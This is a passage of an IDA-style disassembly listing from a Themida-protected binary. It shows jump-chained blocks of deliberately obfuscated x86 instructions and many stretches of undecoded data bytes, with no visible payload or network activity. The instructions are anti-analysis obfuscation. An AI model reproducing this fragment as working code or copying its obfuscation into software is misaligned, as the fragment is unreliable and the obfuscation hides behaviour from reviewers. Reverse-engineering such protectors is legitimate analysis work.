		dd 5B311D8Bh, 8FBE5653h, 895B311Dh, 24348BF3h, 4C481h
		dd 0DF890000h, 8425E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5648D2:				; CODE XREF: Themida_:005531C3j
		xchg	edi, esi
		jmp	loc_55FFD5
; ---------------------------------------------------------------------------


loc_5648D9:				; CODE XREF: Themida_:005657EEj
		sub	ebx, 104C75EDh
		add	edi, 105E00B4h
		add	edi, ebx
		sub	edi, 105E00B4h
		pop	ebx
		add	esi, edi
		pop	edi
		sub	esi, 0A25445BEh
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		idiv	ecx
		push	14A2h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_564917:				; CODE XREF: Themida_:0055843Dj
		mov	[esp], ebp
		push	5D78693Ah
		pop	ebp
		jmp	loc_5552ED
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 2
		dd 28000000h, 240C8BC8h, 404C483h, 2CD800AAh, 837204AAh
		dd 896602ECh, 7FE9240Ch, 58FFFF1Ch, 6859CB88h, 4C81h, 0B5240C89h
		dd 0B7536679h, 66F82899h, 0C2C5Bh, 40C04E8h, 2434FF99h
		dd 81240C8Bh, 4C4h, 0EACCE900h,	32FFFFFEh, 0FEE2BBE9h
		dd 84C381FFh, 8114650Ch, 960CF6EBh, 81EB015Eh, 960CF6C3h
		dd 84BD555Eh, 2914650Ch, 2C8B5DEBh, 6509E924h, 0CE81FFFFh
		dd 2D36268Ah, 0DD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5649AD:				; CODE XREF: Themida_:00554777j
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_558058
; ---------------------------------------------------------------------------


loc_5649B7:				; CODE XREF: Themida_:0055BD73j
		pop	edi
		push	edx
		mov	edx, 4
		jmp	loc_553F6A
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFEE812h, 9509E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5649D2:				; CODE XREF: Themida_:005611ECj
		not	cl
		add	cl, 0F4h
		dec	cl
		push	eax
		mov	ah, 0DBh
		add	cl, ah
		pop	eax
		xor	cl, 0ADh
		mov	bl, cl
		jmp	loc_553AC9
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 1000000h, 25EBE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5649F6:				; CODE XREF: Themida_:005654A4j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_561EBA
; ---------------------------------------------------------------------------


loc_564A01:				; CODE XREF: Themida_:00558EE5j
		mov	eax, 403643ECh
		add	esi, eax
		pop	eax
		jmp	loc_55E497
; ---------------------------------------------------------------------------


loc_564A0E:				; CODE XREF: Themida_:00559627j
		pop	ecx
		push	1CC2h
		mov	[esp], ebx
		jmp	loc_55E94E
; ---------------------------------------------------------------------------
		dd 88E901B5h, 83FFFF5Ah, 0C78304C4h, 243C3302h,	33243C31h
		dd 0E95C243Ch, 0FFFF3B9Bh, 7406F368h, 0E828E914h, 6857FFFFh
		dd 6E4A5A41h, 0FFBBA4E9h, 0A9C381FFh, 312F4270h, 0D1095BDAh
		dd 0A3F1815Ah, 816EDF4Fh, 0EE4AA6C2h, 81CA015Ch, 0EE4AA6EAh
		dd 240C8B5Ch, 4C481h, 0C2810000h, 2, 31241433h,	0CAE92414h
		dd 81FFFFC1h, 105B14C7h, 4BEF812Eh, 0E96AEC1Bh,	0FFFFBA6Bh
		dd 24048B66h, 3556856h,	24890000h, 24048124h, 4, 0E92434FFh
		dd 0FFFF6FF0h, 0D0D2E948h, 335BFFFFh, 2C31242Ch, 77F8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564AC6:				; CODE XREF: Themida_:00560FC8j
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_56528A
; ---------------------------------------------------------------------------


loc_564AD4:				; CODE XREF: Themida_:00553933j
		mov	ebx, edi
		pop	edi
		push	edx
		mov	edx, 2EDF570Ch
		and	ebx, edx
		jmp	loc_556577
; ---------------------------------------------------------------------------


loc_564AE4:				; CODE XREF: Themida_:005556EAj
		push	ebp
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		sub	[edi+24h], ecx
		jmp	loc_555BE6
; ---------------------------------------------------------------------------
		dd 0EB81DBF7h, 21165AB8h, 1C8BD831h, 4C48124h, 1000000h
		dd 0C304E9C1h, 505FFFFFh, 4F5E68B8h, 0EE73E95Bh, 0E2C1FFFFh
		dd 58CA8104h, 0E93F9C2Ch, 0FFFF9F76h
; ---------------------------------------------------------------------------


loc_564B28:				; CODE XREF: Themida_:00560D6Aj
		push	ebx
		mov	ebx, 2
		mov	edi, ebx
		pop	ebx
		add	ecx, 22513978h
		add	ecx, 51274CA1h
		sub	ecx, 2C5B6980h
		sub	ecx, edi
		add	ecx, 2C5B6980h
		sub	ecx, 51274CA1h
		sub	ecx, 22513978h
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_56575B
; ---------------------------------------------------------------------------


loc_564B63:				; CODE XREF: Themida_:005613B4j
		mov	edi, 2A52B1Fh
		shl	edi, 5
		neg	edi
		jmp	loc_55961B
; ---------------------------------------------------------------------------


loc_564B72:				; CODE XREF: Themida_:0055DD33j
		mov	al, dl
		jmp	loc_553BB5
; ---------------------------------------------------------------------------
		db 0BFh, 6Eh, 68h
		dd 33BE5440h, 1F9CFD8h,	0E9525FFEh, 0FFFFB853h,	0CB0F150Dh
		dd 73BD5534h, 1F8899Dh,	0C3815DE8h, 30984477h, 0EB81C329h
		dd 30984477h, 240C8B58h, 5504C483h, 4BDh, 5DEB2900h, 0E9241C33h
		dd 0FFFF5F70h, 1E61C681h, 555A334Dh, 0B4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_564BCD:				; CODE XREF: Themida_:00557E52j
		mov	esi, 5BC0607Ch
		xor	esi, 0EEDA92B8h
		xor	ecx, esi
		pop	esi
		push	6AB2h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_5587DC
; ---------------------------------------------------------------------------
		dw 489h
		dd 4B824h, 0ECE90000h, 66FFFF53h, 1EB96651h, 0CA01669Fh
		dd 57665966h, 0CD4BF66h, 66F82966h, 0DE2D665Fh,	692D660Fh
		dd 0D0016675h, 75690566h, 0FDE0566h, 0CD40566h,	0FFCF71E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564C35:				; CODE XREF: Themida_:00555ECBj
		mov	edi, [esp]
		add	esp, 4
		and	edi, 29DE6A2Eh
		xor	edi, 28221CA9h
		add	ecx, edi
		pop	edi
		jmp	loc_567166
; ---------------------------------------------------------------------------


loc_564C52:				; CODE XREF: Themida_:0056668Bj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, 474D1D07h
		jmp	loc_56115D
; ---------------------------------------------------------------------------
		dd 0B50AB4B8h, 0F9D6E95Ah, 0BD55FFFFh, 27450756h, 2C8BEB01h
		dd 4C48324h, 0C15BDA89h, 0E2C108EAh, 0C24CE908h, 0E8C1FFFFh
		dd 0BF575003h, 1, 0FEFAE3E9h, 24048BFFh, 6804C483h, 77A9h
		dd 0B9240C89h, 49FB0519h, 0D4E98141h, 81586742h, 513498F1h
		dd 81D1F70Dh, 0FCE2E9E9h, 0DC63E9B7h, 0C381FFFFh, 0D1808B5h
		dd 13EE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CD2:				; CODE XREF: Themida_:0055F0F5j
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	edx, 8
		shl	edx, 7
		and	edx, 41807AB6h
		shr	edx, 1
		jmp	loc_568189
; ---------------------------------------------------------------------------
		dd 4E981h, 7E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CFB:				; CODE XREF: Themida_:0056214Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	edx
		push	esp
		jmp	loc_5611CB
; ---------------------------------------------------------------------------


loc_564D0B:				; CODE XREF: Themida_:0055FC7Dj
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_564D17:				; CODE XREF: Themida_:0055C7F8j
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5648AD
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BD02104h, 0AE682414h, 0E900002Bh, 0FFFF7690h, 26E9E688h
		dd 81FFFEE6h, 58457BC6h, 0B0CE815Eh, 0E92C456Bh, 0FFFF71D5h
		dd 5C243C87h, 0E9242C89h, 1205h, 0F646EE80h, 3E6C0D6h
		dd 0C680C6FEh, 5AF00063h, 0A7E9FF04h, 8BFFFF74h, 65E9241Ch
		dd 5CFFFFAFh, 0FFAA3AE9h, 561868FFh, 6E90000h, 31FFFFCDh
		dd 0BB24E9D7h, 77FFFFFFh, 58669D1Ch, 24041966h,	0DE92E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564DA6:				; CODE XREF: Themida_:0055B536j
		sub	edi, 62435138h
		add	edi, eax
		add	edi, 62435138h
		push	4F0Ch
		mov	[esp], esi
		mov	esi, 16BD37C4h
		jmp	loc_5617C1
; ---------------------------------------------------------------------------
		dw 1487h
		dd 1619E924h, 0E95EFFFFh, 0FFFF182Dh, 767FC5BFh, 1A0CE96Dh
		dd 4B80000h, 81000000h,	172651C1h, 81C10158h, 172651E9h
		dd 90E95858h, 8B00000Bh, 0C4832434h, 0E8016604h, 9028E952h
		dd 48FFFFFh, 24248B24h,	0FFF591E9h, 1C77FFFFh, 0D259669Dh
		dd 0E99C2414h, 0FFFEDE18h
; ---------------------------------------------------------------------------


loc_564E20:				; CODE XREF: Themida_:0055FED9j
		push	eax
		mov	eax, 28F905DBh
		dec	eax
		jmp	loc_556859
; ---------------------------------------------------------------------------
		dd 1C8BDF29h, 4C48124h,	5000000h, 4BDD4AB6h, 0B62DF801h
		dd 8B4BDD4Ah, 0C483243Ch, 2434FF04h, 0FF3483E9h, 242C33FFh
		dd 0FF381CE9h, 46B568FFh, 24890000h, 20C36824h,	2C890000h
		dd 4BD24h, 75E90000h, 87FFFF96h, 248B241Ch, 8BF03124h
		dd 0C4812434h, 4, 4EC81h, 1C890000h, 1047E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564E92:				; CODE XREF: Themida_:005576C6j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55D7B7
; ---------------------------------------------------------------------------


loc_564EA6:				; CODE XREF: Themida_:0055D23Aj
		dec	ebx
		sub	ebx, 162502D5h
		dec	ebx
		not	ebx
		xor	ebx, 95AFB4D2h
		jmp	loc_554DC3
; ---------------------------------------------------------------------------
		db 21h
		dd 0C68359CEh, 5BB5301h, 29054000h, 0EB815BDEh,	40EB36F5h
		dd 6ECAEB81h, 0F1E97291h, 4DFFFF62h, 56A9BE56h,	0EE811727h
		dd 64703405h, 0EB67EE81h, 68E99AA7h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564EF3:				; CODE XREF: Themida_:00557EB4j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5675EA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 8BD02904h, 0C4832414h, 2F29E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564F12:				; CODE XREF: Themida_:00561428j
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4DB85B97h
		jmp	loc_56487D
; ---------------------------------------------------------------------------
		dw 0D029h
		dd 0FF2905E9h, 2434FFFFh, 26FDE9h, 48B6600h, 4EC8124h
		dd 89000000h, 0E0892404h, 405h,	48D46800h, 34890000h, 0E9555324h
		dd 0FFFF4543h
; ---------------------------------------------------------------------------


loc_564F58:				; CODE XREF: Themida_:0055E6A9j
		sub	ebx, 470B2750h
		push	edi
		mov	edi, 4E9F2A9Fh
		jmp	loc_55B658
; ---------------------------------------------------------------------------


loc_564F69:				; CODE XREF: Themida_:0055EA99j
		mov	[esp], eax
		mov	eax, 20AC207Ah
		jmp	loc_55B64F
; ---------------------------------------------------------------------------


loc_564F76:				; CODE XREF: Themida_:00555565j
		pop	ebx
		jmp	loc_555033
; ---------------------------------------------------------------------------
		dd 0CB3B38BBh, 4A54E90Bh, 0E189FFFFh, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 0DA4B951h, 0C1814938h,	0E995768h, 0A6E9CF09h
		dd 6600002Bh, 52240C8Bh, 24148B54h, 4C481h, 0BD550000h
		dd 4, 685DEA01h, 6AEFh,	68243C89h, 3E03h, 0E9240489h, 0FFFFFC8Ch
		dd 5366F488h, 0CBFEE388h, 88DD8851h, 7C10E9ECh,	489FFFFh
		dd 12EBE924h, 74FFFFFFh, 3C8B0424h, 4C48124h, 8F000000h
		dd 895C2404h, 0F368242Ch, 89000009h, 4832424h, 34FF0424h
		dd 0C4835D24h, 4C58104h, 81000000h, 4ECh, 2DB7E900h, 34FFFFFFh
		dd 2434FF24h, 83240C8Bh, 0C48304C4h, 192EE904h,	8B66FFFFh
		dd 5056240Ch, 0BF575854h, 34710C0Fh, 7E0DCF81h,	0F7812EBAh
		dd 3EFB7E0Bh, 2D5FF801h, 4, 2474FF50h, 48F5804h, 0A5E95C24h
		dd 0E9FFFF20h, 0FFFEDBC4h, 0FDE9D028h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56507B:				; CODE XREF: Themida_:00562054j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_560184
; ---------------------------------------------------------------------------
		db 33h
		dd 0D35C243Ch, 0E99C242Ch, 0FFFEDBA4h
; ---------------------------------------------------------------------------


loc_565094:				; CODE XREF: Themida_:00567199j
		mov	edx, 0B5C3124h
		not	edx
		jmp	loc_557E57
; ---------------------------------------------------------------------------
		dd 686FB850h, 2D407ACAh, 299BF4AAh, 0FF43CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5650B1:				; CODE XREF: Themida_:0055AC06j
		push	ecx
		mov	ecx, 32A32E5Eh
		jmp	loc_561D3D
; ---------------------------------------------------------------------------
		dd 0AFB35358h, 0E95BDD08h, 23Fh, 405E089h, 83000000h, 0FF5004E8h
		dd 58042474h, 5C24048Fh, 57241C89h, 0CB7B0FBFh,	9E52E907h
		dd 8B5EFFFFh, 0C4812414h, 4, 8904EC83h,	4BB241Ch, 1000000h
		dd 241C8BDAh, 33CAE956h, 8B66FFFFh, 8957240Ch, 0A844E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565116:				; CODE XREF: Themida_:0056017Fj
		push	ecx
		jmp	loc_5622AA
; ---------------------------------------------------------------------------


loc_56511C:				; CODE XREF: Themida_:00564392j
		or	esi, ebx
		pop	ebx
		push	eax
		jmp	loc_55776A
; ---------------------------------------------------------------------------
		db 0BFh, 8Ch, 3Dh
		dd 1DE91ED3h, 81FFFF31h, 7F423FF1h, 81414969h, 0D7C0EEC1h
		dd 0DFEB8119h, 295DEF12h, 0DFC381CBh, 595DEF12h, 3C3BEB81h
		dd 0D30170E7h, 3C3BC381h, 0D2E970E7h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56515F:				; CODE XREF: Themida_:005542F2j
		shl	eax, 8
		xor	eax, 9BDC4F27h
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		or	esi, 751062C5h
		xchg	edi, esi
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		xchg	edi, esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8AC1BD22h
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_562737
; ---------------------------------------------------------------------------


loc_5651A5:				; CODE XREF: Themida_:00558803j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 51964EDEh
		sub	ebp, edx
		pop	edx
		sub	ebp, 6A6C4DF9h
		add	ebp, ecx
		push	eax
		mov	eax, 6A6C4DF9h
		add	ebp, eax
		pop	eax
		push	eax
		mov	eax, 3C207E67h
		shl	eax, 7
		jmp	loc_564152
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 2404095Ch, 0DA52E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5651E6:				; CODE XREF: Themida_:00560A65j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56416A
; ---------------------------------------------------------------------------
		dd 2434895Ch, 0AC05D4BEh, 8BF10928h, 0C4812434h, 4, 4103E1C1h
		dd 0FF811AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565215:				; CODE XREF: Themida_:00555550j
		pop	esp
		add	ebp, 7AF07AC3h
		add	ebp, edi
		push	ebx
		mov	ebx, 2F2737B0h
		jmp	loc_5556AE
; ---------------------------------------------------------------------------
aSS_4		db '!é]Áé',0
		db 0E9h
		dd 0FFFF374Ch, 3BBA52ADh, 2D3BE277h, 3DBE0AA3h,	0F750C92Dh
		dd 5D0294Ch, 4CF750C9h,	0BE0AA305h, 0D9055A3Dh,	297B9676h
		dd 0EE1E9D8h, 0B8500000h, 7AA3330h, 89C68956h, 9CE95EF5h
		dd 5EFFFF59h, 0E5685350h, 5B5D9D1Eh, 0FFEB8143h, 81FFFFFFh
		dd 9D1EE3EBh, 0DC63E95Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56528A:				; CODE XREF: Themida_:00564ACFj
		mov	edx, 4
		jmp	loc_55C4D7
; ---------------------------------------------------------------------------
		dd 1CBA5245h, 316D5D27h, 0C5815AD5h, 0F181BF4Bh, 7744F581h
		dd 0DDF73675h, 0FFC5E0E9h, 494268FFh, 6EE90000h, 5CFFFFF5h
		dd 0B8240489h, 4, 54A7EF81h, 0C7814DE0h, 352503F5h, 0EF81C701h
		dd 352503F5h, 54A7B951h, 0C5E94DE0h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5652E3:				; CODE XREF: Themida_:00565C8Bj
		pop	eax
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5612E2
; ---------------------------------------------------------------------------


loc_5652EE:				; CODE XREF: Themida_:0055B024j
		add	ebp, ebx
		mov	ebx, [esp]
		push	edi
		jmp	loc_556567
; ---------------------------------------------------------------------------


loc_5652F9:				; CODE XREF: Themida_:00553E1Dj
		sub	esi, 4BC80029h
		add	esi, edi
		push	ebx
		jmp	loc_554763
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0DDF603E5h, 0E950F580h, 0FFFEFA9Eh, 0FF241C89h, 0FF042474h
		dd 1C8B2434h, 4EC8324h,	54240C89h, 0EA55E959h, 431FFFFh
		dd 24043324h, 0FF4955E9h, 8BD800FFh, 1AE9241Ch,	89FFFF92h
		dd 65E92414h, 87FFFEEBh, 0FA74E9F2h, 0B652FFFFh, 5AF5887Ah
		dd 9DE9DDF6h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56535F:				; CODE XREF: Themida_:00556537j
		shr	ecx, 7
		push	7A8Dh
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 7CE40BB0h
		dec	edx
		shr	edx, 5
		jmp	loc_55C394
; ---------------------------------------------------------------------------
		dd 0E99C5066h, 0FFFED8B4h, 0D5E9D729h, 8BFFFF1Fh, 0C4832434h
		dd 0B49CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565396:				; CODE XREF: Themida_:0055AF9Cj
		pop	ecx
		pop	edi
		not	edi
		xor	ecx, edi
		xor	edi, ecx
		jmp	loc_558C18
; ---------------------------------------------------------------------------


loc_5653A3:				; CODE XREF: Themida_:00561682j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 79165C9Fh
		xor	ecx, 0E9B754Dh
		not	ecx
		inc	ecx
		neg	ecx
		jmp	loc_55E60A
; ---------------------------------------------------------------------------


loc_5653BE:				; CODE XREF: Themida_:0056695Cj
		push	edi
		mov	edi, 0F26DAA0h
		sub	edx, edi
		jmp	loc_55ABDB
; ---------------------------------------------------------------------------
		db 54h
		dd 8324348Bh, 0BF5704C4h, 66E57021h, 116DEF81h,	0DBE96E95h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653E3:				; CODE XREF: Themida_:0055EDDBj
		push	small 7DFFh
		mov	[esp], ax
		jmp	loc_557322
; ---------------------------------------------------------------------------
		dd 0DE49E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5653F6:				; CODE XREF: Themida_:0055D5F7j
		add	esp, 4
		add	eax, 6974376h
		sub	eax, 0FFFFFFFFh
		dec	eax
		push	471Ah
		mov	[esp], ebx
		mov	ebx, 35882631h
		add	eax, ebx
		pop	ebx
		or	ebx, eax
		mov	eax, [esp]
		jmp	loc_561C76
; ---------------------------------------------------------------------------
		db 5Ah,	66h, 51h
		dd 5EE9C2B5h, 81FFFFA0h, 2ADA08C7h, 5FFA891Ah, 34FFD331h
		dd 0C4815A24h, 4, 1C8BDD29h, 4C48124h, 33000000h, 85E9242Ch
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565453:				; CODE XREF: Themida_:00558ACFj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	63C4h
		mov	[esp], ecx
		push	7F09h
		jmp	loc_55CAA4
; ---------------------------------------------------------------------------


loc_565477:				; CODE XREF: Themida_:00558352j
		push	5D34h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_5649F6
; ---------------------------------------------------------------------------


loc_5654A9:				; CODE XREF: Themida_:0056021Bj
		push	264Eh
		mov	[esp], ebp
		jmp	loc_55355A
; ---------------------------------------------------------------------------
		dw 159h
		dd 1C8B5AD5h, 4C48124h,	55000000h, 42474FFh, 81242C8Bh
		dd 4C4h, 24048F00h, 6624248Bh, 66241489h, 0D9E99C50h, 0B3FFFF17h
		dd 66DA007Ch, 56241C8Bh, 0C6815E54h, 4,	8702C683h, 885C2434h
		dd 0EB305AD5h, 4A2C5966h, 4A04D828h, 9E77E95Bh,	3268FFFFh
		dd 89000050h, 0A6BF243Ch, 8128892Fh, 850C8CCFh,	4E7C136h
		dd 0E907EFC1h, 0FFFFFEFFh, 0E426866h, 24048966h, 2474FF66h
		dd 48B6602h, 1699E924h,	0E9500000h, 0FFFEE13Ah
; ---------------------------------------------------------------------------


loc_565548:				; CODE XREF: Themida_:00561694j
		push	edx
		mov	edx, 38697D4Bh
		dec	edx
		jmp	loc_556938
; ---------------------------------------------------------------------------


loc_565554:				; CODE XREF: Themida_:005580FAj
		mov	edx, [esp]
		jmp	loc_556E2B
; ---------------------------------------------------------------------------
		dd 0E9243C33h, 0FFFF516Ch, 4804C483h, 2E0C140h,	1CF8E9h
		dd 0A30F6600h, 0E99C2404h, 0FFFED6BCh
; ---------------------------------------------------------------------------


loc_56557C:				; CODE XREF: Themida_:0055813Cj
		not	dword ptr [esp]
		pop	ebx
		push	ebp
		push	eax
		mov	eax, 4B0FF241h
		mov	ebp, eax
		pop	eax
		add	ebx, 117A1581h
		add	ebx, ebp
		sub	ebx, 117A1581h
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebx
		jmp	loc_55C3B8
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FFA404E9h, 86F781FFh, 1A84846h, 0C8015FF8h,	0B13B142Dh
		dd 240C8B06h, 0E9E78957h, 0FFFF2BF0h, 0E904C483h, 0FFFF8B08h
		dd 0F66F1F6h, 0A768CCB6h, 89000036h, 89572434h,	6CBD55E7h
		dd 814D4B77h, 0B48898C5h, 5DEF01B2h, 4EF81h, 3C870000h
		dd 4055E924h, 489FFFFh,	2434FF24h, 7813685Bh, 3C890000h
		dd 81E78924h, 4C7h, 0B9D5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56561A:				; CODE XREF: Themida_:005633AAj
		push	edi
		not	dword ptr [esp]
		jmp	loc_5559D0
; ---------------------------------------------------------------------------


loc_565623:				; CODE XREF: Themida_:005573DCj
		push	eax
		jmp	loc_5613CF
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 0E980h, 0C180D9h
		db 66h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5580FF
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 5
		dd 69B2F281h, 0D709489Fh, 8324148Bh, 0BD5504C4h, 51E80F5Ah
		dd 8105EDC1h, 4ECh, 241C8900h, 592131BBh, 0E9DD3158h, 0FFFEE754h
		dd 8108E9C1h, 932493C9h, 8E9C139h, 4EAAF181h, 0C1816631h
		dd 17622F2Ah, 0FFF81EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56569D:				; CODE XREF: Themida_:0055F782j
		add	ebx, 0B85AEED2h
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ecx, 1EE83CFFh
		jmp	loc_563E2A
; ---------------------------------------------------------------------------


loc_5656BC:				; CODE XREF: Themida_:005637A3j
		mov	ebx, 9E8444Fh
		xor	ebx, ebp
		jmp	loc_56630B
; ---------------------------------------------------------------------------
		dd 5F95C281h, 0DA015B40h, 5F95EA81h, 8B5B5B40h,	0C4832404h
		dd 24148704h, 7029685Ch, 34890000h, 74FFBE24h, 0F6811B48h
		dd 3D6952ACh, 6BAF68h, 240C8900h, 0FF8E31E9h, 4BDFFh, 98E90000h
		dd 5BFFFFD8h, 539E9h, 5C92B800h, 1E95C35h, 0BDFFFFC4h
		dd 4B9A17B8h, 8102E5C1h, 685EE2F5h, 0D17E92Eh, 34FFFFFFh
		dd 2434FF24h, 83243C8Bh, 895704C4h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 2538E9h, 7639B900h,	21E97A7Ah
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56575B:				; CODE XREF: Themida_:00564B5Ej
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5679F1
; ---------------------------------------------------------------------------
		dd 8704EB83h, 37E9241Ch, 81FFFF8Eh, 91906C6h, 5EF70112h
		dd 4EF81h, 0BDE90000h, 89FFFFF5h, 242C8BE8h, 0FF777DE9h
		dd 5CBE56FFh, 57532758h, 8E4C77BFh, 0AFE78112h,	81507210h
		dd 6C61D4CFh, 2EFC16Ch,	0EF81DFF7h, 7D3C18FCh, 0E32EF81h
		dd 0FE094808h, 0FEEE815Fh, 1136FEEh, 0D9E95EF2h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5657DB:				; CODE XREF: Themida_:00555068j
		mov	ebx, 286517B1h
		not	ebx
		or	ebx, 651E15CAh
		and	ebx, 443F70EEh
		jmp	loc_5648D9
; ---------------------------------------------------------------------------


loc_5657F3:				; CODE XREF: Themida_:0055E93Aj
		xchg	ebx, [esp]
		jmp	loc_55A9E4
; ---------------------------------------------------------------------------
		db 0B9h
		dd 1E7954DCh, 0BD55h, 0CD290000h, 0FFD436E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56580D:				; CODE XREF: Themida_:00560174j
		push	ecx
		jmp	loc_556CFA
; ---------------------------------------------------------------------------


loc_565813:				; CODE XREF: Themida_:0055A43Cj
		push	2FDA4E99h
		pop	esi
		add	esi, 0F4B4FCCh
		shl	esi, 1
		inc	esi
		jmp	loc_55D38C
; ---------------------------------------------------------------------------
		db 89h
		dd 4BD242Ch, 1000000h, 93685DEBh, 0E9000002h, 0FFFF7C9Dh
; ---------------------------------------------------------------------------


loc_56583C:				; CODE XREF: Themida_:00561634j
		mov	[esp], ecx
		push	20h
		pop	ecx
		push	eax
		mov	eax, ecx
		push	2338h
		mov	[esp], eax
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_554042
; ---------------------------------------------------------------------------
		dw 0AA2Dh
		dd 0E9EA4FD8h, 0FFFEF916h, 4C481h, 0C5810000h, 4, 4EC81h
		dd 2C890000h, 2474FF24h, 242C8B04h, 51E28952h, 0FFC818E9h
		dd 2434FFFFh, 5E2434FFh, 0E95B5453h, 1018h, 0F154C781h
		dd 0B3E9EFFFh, 83FFFF22h, 148904ECh, 8CB95124h,	414F5E2Ah
		dd 0BCE9E1D1h, 5FFFF73h, 4, 42Dh, 24048700h, 7FE9h, 58685300h
		dd 5B551632h, 3A9BEB81h, 0D8015DF7h, 0E92434FFh, 0FFFF2434h
		dd 0E9243487h, 196Bh, 3F0DB850h, 0E8C11132h, 29F5E907h
		dd 0FD01FFFFh, 0FF160FE9h, 4E883FFh, 5C240487h,	0FF243C89h
		dd 8B042474h, 0C483243Ch, 24048F04h, 8924248Bh,	65E9240Ch
